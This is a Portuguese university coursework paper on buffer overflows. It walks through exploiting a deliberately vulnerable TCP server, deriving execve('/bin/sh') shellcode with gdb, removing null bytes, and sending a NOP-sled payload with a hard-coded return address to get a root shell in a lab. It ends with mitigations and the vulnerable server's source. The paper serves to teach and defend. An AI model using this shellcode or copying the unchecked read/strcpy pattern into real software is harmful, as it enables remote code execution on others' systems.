Tomando o controle de programas vulneráveis a buffer overflow
Trabalho da Disciplina Segurança de Dados 2/02
Uma falha de segurança comumente encontrada em software é a vulnerabilidade a buffer overflow. Apesar de ser uma falha bem-conhecida e bastante séria, que se origina exclusivamente na incompetência do programador durante a implementação do programa, o erro repete-se sistematicamente a cada nova versão ou produto liberados. Alguns programas já são famosos por freqüentemente apresentarem a falha, como o Sendmail, módulos do Apache, e boa parte dos produtos da Microsoft, incluindo obviamente o infame Internet Information Services (IIS). Mesmo software considerado seguro, como o OpenSSH, já apresentou o problema. Para se ter uma idéia, das vulnerabilidades já encontradas no ano 2003 e cadastradas no banco de dados da ICAT, 37% correpondem a buffer overflow explorável localmente ou remotamente (num total de 19 falhas). Segundo a mesma fonte, durante o ano de 2002, foram comunicadas 288 falhas também locais ou remotas, totalizando 22% das falhas reportadas naquele ano.
Neste texto, tentaremos descrever a falha em linhas gerais, visitar suas formas de ataque e procedimentos para evitá-la. Primeiramente, algum conhecimento de base será examinado. O documento está estruturado nas seguintes seções:
Exploração de um programa vulnerável
Técnicas para evitar a vulnerabilidade
2. Organização dos processos em memória
Os processos em execução são divididos em quatro regiões: texto, dados, pilha e heap.
A região de texto é fixa pelo programa e inclui as instruções propriamente ditas e os dados somente-leitura. Esta região corresponde ao segmento de texto do binário executável e é normalmente marcada como somente-leitura para que qualquer tentativa de escrevê-la resulte em violação de segmentação (com o objetivo de não permitir código auto-modificável).
A região de dados contém as variáveis globais e estáticas do programa.
A pilha é um bloco de memória contíguo utilizado para armazenar as variáveis locais, passar parâmetros para funções e armazenar os valores de retornos destas. O endereço de base da pilha é fixo e o acesso à estrutura é realizado por meio das instruções PUSH e POP implementadas pelo processador. O registrador chamado "ponteiro de pilha" (SP) aponta para o topo da pilha.
A pilha consiste em uma seqüência de frames que são colocados no topo quando uma função é chamada e retirados ao final da execução. Um frame contém os parâmetros para a função, suas variáveis locais, e os dados necessários para recuperar o frame anterior, incluindo o valor do ponteiro de instrução no momento da chamada de função.
Dependendo da implementação, a pilha pode crescer em direção aos endereços altos ou baixos. O ponteiro de pilha também é de implementação dependente, podendo apontar para o último endereço ocupado na pilha ou para o próximo endereço livre. Como o texto trata da arquitetura Intel x86, iremos utilizar uma pilha que cresce para os endereços baixos, com o ponteiro de pilha (registrador ESP) apontando para o último endereço da pilha.
Além de um ponteiro de pilha, também é conveniente contar com um "ponteiro de frame" (FP) que aponta para um endereço fixo no frame. A princípio, variáveis locais podem ser referenciadas fornecendo-se seus deslocamentos em relação ao ponteiro de pilha. Entretanto, quando palavras são inseridas e retiradas da pilha, estes deslocamentos mudam. Apesar de em alguns casos o compilador poder corrigir os deslocamentos observando o número de palavras na pilha, essa gerência é cara. O acesso a variáveis locais a distâncias conhecidas do ponteiro de pilha também iria requerer múltiplas instruções. Desta forma, a marioria dos compiladores utilizam um segundo registrador que aponta para o topo da pilha no início da execução da função, para referenciar tanto variáveis locais como parâmetros, já que suas distâncias não se alteram em relação a este endereço com chamadas a PUSH e POP. Na arquitetura Intel x86, o registrador EBP é utilizado para esse propósito. Por causa da disciplina de crescimento da pilha, parâmetros reais têm deslocamentos positivos e variáveis locais tem deslocamentos negativos a partir de FP.
A primeira instrução que um procedimento deve executar quando chamado é salvar o FP anterior, para que possa ser restaurado ao fim da execução. A função então copia o registrador de ponteiro de pilha para FP para criar o novo ponteiro de frame e ajusta o ponteiro de pilha para reservar espaço para as variáveis locais. Este código é chamado de prólogo da função. Ao fim da execução, a pilha deve ser restaurada e a execução deve retomar na instrução seguinte à de chamada da função, o que chamamos de epílogo. As instruções CALL, LEAVE e RET nas máquinas Intel são fornecidas para parte do prólogo e epílogo em chamadas de função. A instrução CALL salva na pilha o endereço da instrução seguinte como endereço de retorno da função chamada. A instrução RET deve ser chamada dentro do procedimento e restaura a execução no endereço que está no topo da pilha.
A heap permite a alocação dinâmica de memória por meio de chamadas da família malloc(3). A área de heap cresce em sentido oposto à pilha e em direção a esta.
3. Buffer overflow e ataques envolvidos
Um buffer overflow é resultado do armazenamento em um buffer de uma quantidade maior de dados do que sua capacidade . É claro que apenas linguagens de programação que não efetuam checagem de limite ou alteração dinâmica do tamanho do buffer são frágeis a este problema.
O princípio é estourar o buffer e sobrescrever parte da pilha, alterando o valor das variáveis locais, valores dos parâmetros e/ou o endereço de retorno. Altera-se o endereço de retorno da função para que ele aponte para a área em que o código que se deseja executar encontra-se armazenado (código malicioso dentro do próprio buffer estourado ou até algum trecho de código presente no programa vulnerável). Pode-se assim executar código arbitrário com os privilégios do usuário que executa o programa vulnerável. Daemons de sistema (syslogd(8), mountd(8)) ou aplicações que rodam com privilégios de super-usuário (sendmail(8), até pouco tempo) são portanto alvo preferencial.
Existem três tipos básicos de ataques a vulnerabilidades por buffer overflow:
Buffer overflow baseado em pilha: a técnica de exploração mais simples e comum, atua pela alteração do estado da pilha durante a execução do programa para direcionar a execução para o código malicioso contido no buffer estourado:
Buffer overflow baseado em heap: bem mais difícil de explorar, por causa da disciplina de acesso à heap (blocos não contíguos, fragmentação interna). Deve-se estourar o buffer armazenado na área da heap em direção ao endereço de retorno na pilha, para direcionar a execução para o código malicioso que se encontra no buffer estourado;
Buffer overflow de retorno à libc: alteram o fluxo de execução pelo estouro de algum buffer na pilha ou heap, para algum trecho de código armazenado no segmento de texto do programa. Tipicamente este trecho de código é alguma chamada de função comumente utilizada da biblioteca padrão libc, como as chamadas de execução arbitrária de comandos (funções da família exec(3)). Este tipo de ataque tem sido bastante utilizado após a inclusão de patches nos sistemas operacionais que impedem a execução de código na pilha, heap ou região de dados.
4. Exploração de um programa vulnerável
As seções seguintes detalham a exploração de um programa vulnerável a buffer overflow, como exemplo de ataque a um programa que apresenta a falha. O programa vulnerável é um servidor TCP, sendo executado em uma máquina Intel, munida do sistema operacional Linux (as distribuições testadas foram a Debian 3.0r1-STABLE e a Conectiva, versão 8). A idéia geral do ataque é induzir o servidor vulnerável a executar um comando arbitrário a partir de uma chamada à função exec(3). Foi escolhido o sistema Linux pela simplicidade das chamadas de função da libc (a chamada execve tem em torno de 50 bytes de código binário). Foi realizada uma tentativa com o FreeBSD 4.7-STABLE, mas o tamanho do código das funções de sua biblioteca padrão (cerca de 2,5 KB para a execve(3)) tornariam o processo inviável. É importante que a chamada de função tenha código pequeno, particularmente a execve(3), porque não se sabe o tamanho do buffer a ser estourado. A título de referência, a função execve(3) substitui o processo corrente por um novo processo, executado como o usuário dono do processo corrente, recebendo como argumentos strings que determinam o processo a ser executado e os seus argumentos.
4.1. Descrição do servidor
Analisaremos agora o trecho de código vulnerável do programa servidor. A implementação completa encontra-se na seção de Anexos.
int socket_descriptor = -1;
int incoming_socket;
int message_length;
/* Código de inicialização do socket... */
/* Código de estabelecimento de conexão com cliente... */
while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) {
index += message_length;
if (buffer[index - 1] == '\0')
/* Rotinas de fechamento de conexões com o cliente e liberação do socket servidor... */
/* Função de cópia do buffer para processamento externo... */
void process(char *buffer) {
char local_buffer[BUFFER_SIZE];
strcpy(local_buffer, buffer);
O funcionamento básico do servidor resume-se à abertura de um socket em modo de escuta para 5 conexões, que recebe uma mensagem de cada cliente conectado, delegando o processamento da string recebida à função process(). A conexão com um cliente é encerrada quando um byte 0 é recebido na mensagem
O servidor tem duas falhas notáveis, destacadas em vermelho.
A primeira delas diz respeito à chamada da função read(2), que alimenta o buffer com bytes provenientes do cliente até que seja recebido um byte com valor 0. Não há qualquer checagem de limites para o tamanho do buffer. Enquanto o cliente enviar bytes diferentes de zero, o buffer será alimentado, comprometendo possivelmente o estado da pilha. Esta falha não permite a execução de código arbitrário, já que a execução sempre estará presa ao escopo do laço infinito, não sendo possível aproveitar endereços de retorno armazenados na pilha em uma rotina arbitrária (a função main não tem endereço de retorno armazenado na pilha). Entretanto, dependendo da disposição das variáveis locais da função main() na pilha (elas também podem estar em registradores), pode-se utilizar o buffer para sobrescrever os inteiros que armazenam os descritores dos sockets, alterando a disponibilidade do servidor. Pode-se induzir o servidor a rejeitar novas conexões (se sobrescrito o identificador do socket servidor, o código de estabelecimento de conexão falhará) ou a abrir novas conexões, levando o programa a um estado de saturação caso haja tráfego significativo nas conexões abertas (se sobrescrito o identificador do socket de conexão não será possível fechar a conexão com o cliente, já que o valor correto do descritor estará perdido).
A segunda falha, bastante convencional, encontra-se na chamada à função strcpy(3) dentro do procedimento process(). Assumindo que o buffer recebido como argumento foi estourado nas chamadas sucessivas à função read(2) sem checagem de limite, a função strcpy(3) também estourará o buffer local da função durante a cópia da string. Isso permitirá a alteração do endereço de retorno armazenado na pilha na chamada à função process(), direcionando a execução para qualquer posição de memória. Na exploração estudada aqui, direcionaremos a execução para o próprio buffer recebido como mensagem, que conterá o código malicioso a ser executado.
4.2. Código arbitrário
Será descrito nesta seção o procedimento para gerar o código binário que será enviado ao servidor. Desejamos que o buffer contenha uma chamada à função execve(3), onde poderemos passar o comando a ser executado com os privilégios do usuário executando o servidor, e uma chamada à função exit(3). Em linhas gerais, queremos que o servidor substitua sua execução pelo processo desejado e silenciosamente termine sua execução, para evitar que falhas de segmentação sejam geradas como possíveis indícios do ataque. Dependendo da configuração do sistema, a falha de segmentação pode provocar o dump do processo, que pode então ser examinado pelo administrador em busca da razão da execução corrompida do servidor (o servidor pode ser corrigido ou informações da conexão com o cliente obtidas).
Para obtermos as formas binárias das chamadas de função, utilizaremos o gdb(1) (GNU Debugger, padrão para a linguagem C). Basta codificar chamadas às funções desejadas, no caso execve(3) e exit(3), examinar o contexto que deve ser criado para sua execução e utilizar estas informações para reproduzir as chamadas. Com o gcc(1) (GNU C Compiler, padrão para a linguagem C), foi compilado o seguinte trecho de código (a partir do comando "gcc execve.c -o execve -ggdb -static"):
A flag de compilação estática (-static) é utilizada para que o compilador insira o código efetivo da chamada de função no binário e não apenas uma referência à biblioteca compartilhada. Invocando-se o gdb(1) para examinar o código compilado, e solicitando a desmontagem da função main():
$ gdb execve
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
Observando cuidadosamente a função, observamos o prólogo da função sendo executado (inserção do ponteiro de frame da função anterior na pilha, ajuste do ponteiro de pilha para alocação das variáveis locais), seguindo-se a criação de contexto para a chamada da função execve(3). Os argumentos são colocados na pilha em ordem inversa.
Pode-se observar a inserção na pilha do terceiro argumento (NULL) (instrução <main+20>) e do ponteiro name duas vezes (instruções <main+25> e <main+29>), como primeiro e segundo argumentos da função. Examinando agora o código desmontado da chamada execve(3):
0x80002bc &lt;execve&gt;:   pushl  %ebp
0x80002bd &lt;execve+1&gt;: movl   %esp,%ebp
0x80002bf &lt;execve+3&gt;: pushl  %ebx
0x80002c0 &lt;execve+4&gt;: movl   $0xb,%eax
0x80002c5 &lt;execve+9&gt;: movl   0x8(%ebp),%ebx
0x80002c8 &lt;execve+12&gt;:        movl   0xc(%ebp),%ecx
0x80002cb &lt;execve+15&gt;:        movl   0x10(%ebp),%edx
0x80002ce &lt;execve+18&gt;:        int    $0x80
0x80002d0 &lt;execve+20&gt;:        movl   %eax,%edx
0x80002d2 &lt;execve+22&gt;:        testl  %edx,%edx
0x80002d4 &lt;execve+24&gt;:        jnl    0x80002e6 &lt;execve+42&gt;
0x80002d6 &lt;execve+26&gt;:        negl   %edx
0x80002d8 &lt;execve+28&gt;:        pushl  %edx
0x80002d9 &lt;execve+29&gt;:        call   0x8001a34 &lt;__normal_errno_location&gt;
0x80002de &lt;execve+34&gt;:        popl   %edx
0x80002df &lt;execve+35&gt;:        movl   %edx,(%eax)
0x80002e1 &lt;execve+37&gt;:        movl   $0xffffffff,%eax
0x80002e6 &lt;execve+42&gt;:        popl   %ebx
0x80002e7 &lt;execve+43&gt;:        movl   %ebp,%esp
0x80002e9 &lt;execve+45&gt;:        popl   %ebp
0x80002ea &lt;execve+46&gt;:        ret
0x80002eb &lt;execve+47&gt;:        nop
A instrução mais importante é a int 0x80 (instrução <execve+18>). O Linux passa os argumentos para a chamada de sistema por meio de registradores e usa uma interrupção em software para entrar em modo kernel. Pode-se observar a carga no registrador EAX do valor 0xB (11 em decimal) que corresponde ao código da chamada de sistema. A partir do código desmontado, também descobrimos que o endereço da string "/bin/sh" deve estar carregado no registrador EBX (instrução <execve+9>), o ponteiro duplo name em ECX (instrução <execve+12>) e o endereço do ponteiro nulo em EDX (instrução <execve+15>). Como desejamos uma execução limpa do programa, devemos examinar as instruções necessárias para a chamada à função exit(3). Para isso, compilamos o código a seguir:
O código desmontado, obtido a partir do gdb(1), encontra-se em seguida:
$ gcc exit.c -o exit -ggdb -static
$ gdb exit
0x800034c &lt;exit&gt;:      pushl  %ebp
0x800034d &lt;exit+1&gt;:    movl   %esp,%ebp
0x800034f &lt;exit+3&gt;:    pushl  %ebx
0x8000350 &lt;exit+4&gt;:    movl   $0x1,%eax
0x8000355 &lt;exit+9&gt;:    movl   0x8(%ebp),%ebx
0x8000358 &lt;exit+12&gt;:   int    $0x80
0x800035a &lt;exit+14&gt;:   movl   0xfffffffc(%ebp),%ebx
0x800035d &lt;exit+17&gt;:   movl   %ebp,%esp
0x800035f &lt;exit+19&gt;:   popl   %ebp
0x8000360 &lt;exit+20&gt;:   ret
0x8000361 &lt;exit+21&gt;:   nop
0x8000362 &lt;exit+22&gt;:   nop
0x8000363 &lt;exit+23&gt;:   nop
A função exit(3) apenas carrega o código de chamada de sistema 0x1 no registrador EAX (instrução <exit+4>), o argumento da função no registrador EBX (instrução <exit+9>) e efetua uma chamada à interrupção int 0x80 (instrução <exit+12>).
Entendido o procedimento para chamada da função execve(3), podemos codificar o código a ser executado no buffer utilizando o seguinte algoritmo:
a) Armazenar a string "/bin/sh" terminada em caractere 0 em algum lugar da memória
b) Armazenar o endereço da string "/bin/sh" em algum lugar da memória, seguido por uma palavra nula (vetor de ponteiros name)
c) Copiar 0xB no registrador EAX
d) Copiar o endereço da string "/bin/sh" no registrador EBX
e) Copiar o endereço do endereço da string "/bin/sh" no registrador ECX
f) Copiar o endereço do ponteiro nulo no registrador EDX
g) Executar a instrução int 0x80
h) Copiar 0x1 no registrador EAX
i) Copiar 0x0 no registrador EBX
j) Executar a instrução int 0x80
Vale observar que este procedimento pode ser utilizado para a execução de qualquer função arbitrária, desde que seu contexto seja cuidadosamente reproduzido. Em particular, também pode-se alterar o comando passado para a função execve(3). Utilizando o algoritmo derivado, podemos conceber o código de montagem:
movl   endereco_string,posicao_endereco # Carrega o endere&ccedil;o da string para a posi&ccedil;&atilde;o imediatamente posterior &agrave; string
movb   $0x0,ultimo_caractere_string	# Finaliza a string com um byte 0
movl   $0x0,ponteiro_nulo		# Inicializa uma posi&ccedil;&atilde;o de mem&oacute;ria com o ponteiro nulo
movl   $0xb,%eax			# Contexto para int 0x80 (execve(3))
movl   endereco_string,%ebx		# Contexto para int 0x80 (execve(3))
leal   posicao_endereco,%ecx		# Contexto para int 0x80 (execve(3))
leal   ponteiro_nulo,%edx		# Contexto para int 0x80 (execve(3))
int    $0x80				# Chamada de sistema
movl   $0x1, %eax			# Contexto para int 0x80 (exit(3))
movl   $0x0, %ebx			# Contexto para int 0x80 (exit(3))
.string \"/bin/sh\"			# String utilizada como argumento
O problema agora é determinar o endereço exato que a string "/bin/sh" receberá quando for armazenada no buffer do servidor. Como não conhecemos o endereçamento do processo servidor em memória, teremos que utilizar um artifício para obter o endereço da string. Utilizaremos uma instrução de desvio incondicional (JMP) e uma de chamada de procedimento (CALL), com endereçamento relativo ao ponteiro de instrução. O desvio incondicional será a primeira instrução do código e deverá desviar a execução para a intrução CALL. Imediatamente após a instrução CALL, armazenaremos a string "/bin/sh". Quando a instrução CALL for chamada, ela armazenará o endereço da próxima palavra na pilha, como endereço de retorno. Poderemos então obter o endereço exato da string observando a palavra que está no topo da pilha. A instrução CALL deve então chamar o procedimento gerado pelo algoritmo derivado. Unindo estas idéias, o código será da forma:
jmp    CALL_LABEL:		# Desvio incondicional para chamada da CALL
POP_LABEL:
popl   %esi			# Recupera&ccedil;&atilde;o do endere&ccedil;o da string "/bin/sh"
movl   %esi,0x8(%esi)		# C&oacute;pia do endere&ccedil;o da string na posi&ccedil;&atilde;o imediatamente posterior &agrave; string
movb   $0x0,0x7(%esi)		# Finaliza&ccedil;&atilde;o da string com byte 0
movl   $0x0,0xc(%esi)		# Excrita do ponteiro nulo ap&oacute;s a string
movl   $0xb,%eax		# Contexto para int 0x80 (execve(3))
movl   %esi,%ebx		# Carga do endere&ccedil;o da string em EBX
leal   0x8(%esi),%ecx		# Carga do ponteiro duplo para a string em ECX
leal   0xc(%esi),%edx   	# Carga do endere&ccedil;o do ponteiro nulo em EDX
int    $0x80			# Chamada de sistema
movl   $0x1, %eax		# Contexto para int 0x80 (exit(3))
movl   $0x0, %ebx		# Contexto para int 0x80 (exit(3))
CALL_LABEL:
call   POP_LABEL		# Chamada ao procedimento
.string \"/bin/sh\"		# String utilizada como argumento
Como podemos ver, o código arbitrário é auto-modificável. Como o programa servidor armazenará a string em vetor local na pilha, não haverá qualquer problema com restrições de escrita (como haveria caso fosse armazenado em região de texto do processo). Devemos agora utilizar o gcc(1) para compilar o código gerado, utilizando a macro __asm__():
jmp    CALL_LABEL:
movl   %esi,0x8(%esi)
movb   $0x0,0x7(%esi)
movl   $0x0,0xc(%esi)
movl   $0xb,%eax
movl   %esi,%ebx
leal   0x8(%esi),%ecx
leal   0xc(%esi),%edx
movl   $0x0, %ebx
call   POP_LABEL
O binário obtido será aberto com o debugger para convertermos as instruções uma a uma em seu código de máquina (comando x/bx <endereco> do gdb(1)). A string está então completa:
"\xff/bin/sh";
Um problema adicional acaba de aparecer. O programa servidor alimenta o buffer até que receba um byte com valor 0. As funções de cópia de string que desejamos explorar também páram de copiar a string caso encontrem um byte 0. Para evitar a parada prematura do envio do buffer, teremos que converter as intruções com bytes 0 em instruções equivalentes sem nenhum byte nulo.
Instruções problema:
Instruções substitutas:
movb $0x0,0x7(%esi)movl $0x0,0xc(%esi)
xorl %eax,%eaxmovb %eax,0x7(%esi)movl %eax,0xc(%esi)
movl $0xb,%eax
movl $0x1, %eaxmovl $0x0, %ebx
xorl %ebx,%ebxmovl %ebx,%eaxinc %eax
O código com as instruções problemáticas substituídas representa a versão final do código a ser enviado ao servidor:
movb   %eax,0x7(%esi)
movb   $0xb,%al
Após repetir o processo de conversão utilizando o debugger, chegamos à seqüência de bytes que será alimentada ao buffer. Devemos proceder agora com o estudo do programa cliente, que será responsável pelo envio da string para estouro do buffer no servidor, causando o direcionamento da execução para o início do buffer.
4.3. Descrição do cliente
O cliente será responsável pela exploração da falha remota, enviando uma string que propositadamente sobrescreverá o endereço de retorno da função process() no servidor, alterando o ponteiro de instrução ao final da função para o início do buffer estourado. A implementação completa do cliente encontra-se na seção de Anexos. Como sabemos que o tamanho do buffer no servidor é de 100 bytes, devemos ter uma string com pelo menos 108 bytes, para que ela possa sobrescrever tanto o ponteiro de frame salvo na pilha como o endereço de retorno. Utilizaremos uma string com 109 bytes, para abrigar o byte nulo como terminador. Nas posiçoes 104 a 107 da string, devemos inserir o endereço de retorno que sobrescreverá o endereço armazenado na pilha. Este endereço deverá apontar para o início do buffer estourado. Como não temos acesso ao espaço de endereçamento do processo servidor, teremos que estimar a posição inicial do buffer, utilizando conhecimento a respeito do ponteiro de pilha. Cada processo acessa sua pilha por meio de um endereço fixo (um endereço virtual a ser traduzido para um endereço físico). Sabendo que o ponteiro da pilha nos sistemas Linux normalmente é iniciado com valor 0xBFFFFFFF, deveríamos efetuar alguma aritmética para determinar a posição do buffer, conhecendo o tamanho das variáveis locais armazenadas na pilha das funções em execução. Um outro artifício será utilizado: enviaremos uma mensagem com 109 bytes que contém nas suas posições iniciais instruções NOP, que não realizam qualquer operação, e nas posições finais as instruções do código que desejamos executar. Assim, poderemos estimar o endereço de retorno para qualquer das posições do buffer que contenha instrução NOP, já que o fluxo de execução se encarregará de executar as instruções que desejamos quando se esgotarem as instruções inúteis. A string enviada para o servidor tem portanto o seguinte formato:
O endereço de retorno deve ser colocado nas posições finais do vetor com os bytes em ordem inversa, porque as instruções PUSH armazenam palavras na pilha seguindo esse padrão. O resumo do código do cliente encontra-se a seguir:
char large_string[BUFFER_SIZE + 9];
/* C&oacute;digo para estabelecimento de conex&atilde;o com o servidor... */
/* C&oacute;digo de preparo da string... */
/* Endere&ccedil;o de retorno nas posi&ccedil;&otilde;es finais do vetor */
large_string[104] = '\xd4';
large_string[105] = '\xf8';
large_string[106] = '\xff';
large_string[107] = '\xbf';
large_string[108] = 0;
/* Envio da string preparada para o servidor */
send(socket_descriptor, &large_string, strlen(large_string) + 1, 0);
/* Rotinas de fechamento de conex&atilde;o com o servidor... */
O teste da exploração da vulnerabilidade foi efetuado em uma máquina Linux do Laboratório de Sistemas Integrados e Concorrentes (LAICO) do CIC, apresentando os resultados esperados. Primeiramente, o servidor vulnerável foi iniciado remotamente com privilégios de super-usuário, a partir de uma sessão OpenSSH:
$./servidor
Sinopse: servidor &lt;porta&gt;
$./servidor 5000
Servidor vulner&aacute;vel iniciado e em escuta...
O cliente foi então executado em uma máquina qualquer (no caso, a máquina FreeBSD do autor):
Sinopse: cliente &lt;host&gt; &lt;porta&gt;
$ ./cliente &lt;hostname&gt; 5000
Cliente tentando conex&atilde;o...
A conexão a partir do cliente foi acusada pelo servidor:
Descritores dos sockets: Servidor: 3, Conex&atilde;o: 4
Conex&atilde;o a partir de 200.140.10.18...
Descritores dos sockets: Servidor: -1869574000, Conex&atilde;o: 4
Mensagem recebida: &euml;^1&Agrave;FF
&oacute;V
&Iacute;1&Ucirc;&Oslash;@&Iacute;&egrave;&Uuml;&yuml;&yuml;&yuml;/bin/sh&Ocirc;&oslash;&yuml;�
Podemos observar a alteração no descritor do socket servidor com o estouro do buffer, como previsto em discussão anterior. Estranhamente o servidor parece ter tido sua execução interrompida, quando deveria estar preso em um laço infinito. Verificando-se os
processos sendo executados na máquina como o usuário root, podemos notar a execução de dois shells, quando apenas um foi iniciado. Isto prova que qualquer comando seria executado com as permissões de acesso do usuário root, se fornecido seu comando de execução na mensagem enviada ao servidor:
PID  TT  STAT   TIME    COMMAND
923  p0  S      0:00.00 sh
925  p0  S      0:00.00 sh
926  p0  R+     0:00.00 ps
147  v1  IWs+   0:00.00 /usr/libexec/getty Pc ttyv1
148  v2  IWs+   0:00.00 /usr/libexec/getty Pc ttyv2
149  v3  IWs+   0:00.00 /usr/libexec/getty Pc ttyv3
150  v4  IWs+   0:00.00 /usr/libexec/getty Pc ttyv4
151  v5  IWs+   0:00.00 /usr/libexec/getty Pc ttyv5
152  v6  IWs+   0:00.00 /usr/libexec/getty Pc ttyv6
5. Técnicas para evitar a vulnerabilidade
A solução tradicional é utilizar funções de biblioteca que não apresentem problemas relacionados a buffer overflow. A solução na biblioteca padrão é utilizar as funções strncpy(3) e strncat(3) que recebem como argumento o número máximo de caracteres copiados entre as strings. Deve haver controle no argumento fornecido para que ele não exceda o tamanho da string de destino, ou teremos novamente código vulnerável. A função sprintf(3) também pode ser utilizada, desde que se forneça na string de formato o número máximo de caracteres a serem impressos na string de destino, e que este número seja compatível com a sua capacidade.
Os sistemas BSD fornecem as funções strlcpy(3) e strlcat(3) para cópia e concatenação de strings. Estas funções recebem como argumento o tamanho total do buffer de destino.
Existem soluções em bibliotecas distintas da padrão, como a Libmib que implementa realocação dinâmica das strings quando seu tamanho é ultrapassado, e a Libsafe que contém versões modificadas das funções suscetíveis a buffer overflow, funcionando como um wrapper para a libc padrão.
Um dos problemas do servidor implementado é a falta de checagem de tamanho do buffer nas chamadas sucessivas à função read(2). As alternativas nesse caso são a inclusão de código de checagem de limite do buffer ou a utilização de funções como recv(2) que recebem como argumento o tamanho máximo da string recebida.
Outras recomendações passam pela utilização de compiladores com checagem de limite, aplicação de patches ao sistema operacional que impossibilitem a execução de código na pilha ou heap (ainda restam os ataques utilizando a região de texto, entretanto), preferência por alocação dinâmica dos buffers na área de heap, atenção redobrada na codificação dos laços de interação que preenchem os buffers e exame cuidadoso das possíveis entradas do usuário.
Existe um patch para o kernel do Linux que torna o segmento da pilha não-executável, apesar deste não se encontrar ainda embutido no kernel padrão do Linux.
O sistema OpenBSD recebeu no dia 30 de Janeiro deste ano uma atualização que impede a execução de código contido na pilha do processo. Esta atualização está no ramo de código corrente e, após estabilizado, deverá ser replicada para outros sistemas operacionais, particularmente os BSDs.
A exploração de código vulnerável a buffer overflow exige alguma habilidade. Entretanto, o conhecimento necessário para tal tarefa pode ser facilmente adquirido pelo material difundido na rede e experimentação exaustiva.
A tarefa de codificar software seguro é difícil, mas deve ser tomada com máxima seriedade. Principalmente quando se está desenvolvendo software de segurança ou projetado para ser executado com privilégios de super-usuário ou usuário especial do sistema. Chega a impressionar o número de vulnerabilidades a buffer overflow encontradas em software de utilização ampla, dada a simplicidade das técnicas em evitá-las. É claro que na maioria das vezes aproveitar-se da falha não é fácil como apresentado aqui, mas ainda possível com alguma dedicação.
Neste trabalho, pudemos visitar os princípios básicos utilizados em um ataque a tal falha, a partir do embuste a um servidor TCP codificado com competência duvidosa.
HYDE, Randall. The Art of Assembly Language Programming. Link.
Beej's Guide to Network Programming: Using Internet Sockets. Link.
WHEELER, David A. Secure Programming for Linux and Unix HOWTO. Link.
Writing buffer overflow exploits - a tutorial for beginners. Link.
How to write Buffer Overflows. Link.
Smashing the stack for fun and profit. Link.
8.1. Implementação do servidor
#include &lt;unistd.h%gt;
#define BUFFER_SIZE 100	// Tamanho do buffer de recebimento
#define BACKLOG 5	// N&uacute;mero de conex&otilde;es na fila do servidor
/* Prot&oacute;tipos de fun&ccedil;&otilde;es */
/* Fun&ccedil;&atilde;o de processamento da mensagem recebida */
void process(char *buffer);
/* Fun&ccedil;&atilde;o de sa&iacute;da em caso de erro */
void quit_with_error(char * error_message);
/* Rotina para fechamento das conex&otilde;es e libera&ccedil;&atilde;o dos sockets */
void cleanup(int socket_descriptor, int incoming_socket);
/* Ponto de entrada do programa */
/* Descritor do socket servidor */
/* Buffer de recebimento */
/* Descritor do socket de conex&atilde;o com cliente */
/* Registro para armazenar endere&ccedil;o do servidor */
struct sockaddr_in my_address;
/* Registro para armazenar endere&ccedil;o do cliente */
struct sockaddr_in their_address;
/* Porta em que o servidor ir&aacute; escutar */
/* Inteiro para armazenar o n&uacute;mero de btyes recebidos a cada chamada de read(2) */
/* Flag utilizada para ligar o reuso da porta do servidor */
int i_want_reusable_ports = 1;
/* Inteiro utilizado para armazenar o tamanho da estrutura sockaddr */
/* Inteiro utilizado para indexar o buffer de recebimento */
/* Checagem de par&acirc;metros do servidor */
fprintf(stderr,"Sinopse: %s &lt;porta&gt;\n", argv[0]);
/* Obten&ccedil;&atilde;o da porta a partir da linha de comando */
/* Cria&ccedil;&atilde;o de um socket TCP */
/* Checagem da cria&ccedil;&atilde;o do socket TCP */
if (socket_descriptor < 0) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("N&atilde;o foi poss&iacute;vel abrir socket TCP.\n");
/* Liga&ccedil;&atilde;o do reuso na porta utilizada pelo socket */
if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int)) == -1) {
quit_with_error("N&atilde;o foi poss&iacute;vel tornar a porta do socket reus&aacute;vel.\n");
/* Montagem do registro que armazena o endere&ccedil;o da m&aacute;quina executando o servidor */
my_address.sin_family = AF_INET;
my_address.sin_port = htons(server_port);
my_address.sin_addr.s_addr = INADDR_ANY;
memset(&(my_address.sin_zero), '0', 8);
/* Aloca&ccedil;&atilde;o da porta fornecida para o socket servidor */
if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) {
quit_with_error("N&atilde;o foi poss&iacute;vel alocar porta para o socket.\n");
/* Socket em modo de escuta */
if (listen(socket_descriptor, BACKLOG) == -1) {
quit_with_error("N&atilde;o foi poss&iacute;vel colocar o socket em modo de escuta\n.");
length = sizeof(my_address);
printf("Servidor vulner&aacute;vel iniciado e em escuta...\n");
/* La&ccedil;o infinito em que o servidor receber&aacute; requisi&ccedil;&otilde;es */
/* Buffer de recebimento &eacute; zerado a cada nova conex&atilde;o */
for (index = 0; index < BUFFER_SIZE; index++)
/* Estabelecimento de conex&atilde;o com o cliente */
if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address, &length)) == -1) {
quit_with_error("N&atilde;o foi poss&iacute;vel aceitar conex&atilde;o.\n");
/* Impress&atilde;o de texto de depura&ccedil;&atilde;o */
printf("Descritores dos sockets: Servidor: %d, Conex&atilde;o: %d\n", socket_descriptor, incoming_socket);
printf("Conex&atilde;o a partir de %s...\n", inet_ntoa(their_address.sin_addr));
send(incoming_socket, "Bem-vindo ao servidor vulner&aacute;vel. Comporte-se...\n", 49, 0);
/* Leitura de mensagem enviada pelo cliente conectado */
printf("Mensagem recebida: %s\n", buffer);
/* Chamada da fun&ccedil;&atilde;o de processamento da mensagem recebida */
/* Fechamento da conex&atilde;o com o cliente */
close(incoming_socket);
/* Libera&ccedil;&atilde;o do socket servidor */
/* Processamento da mensagem do cliente.
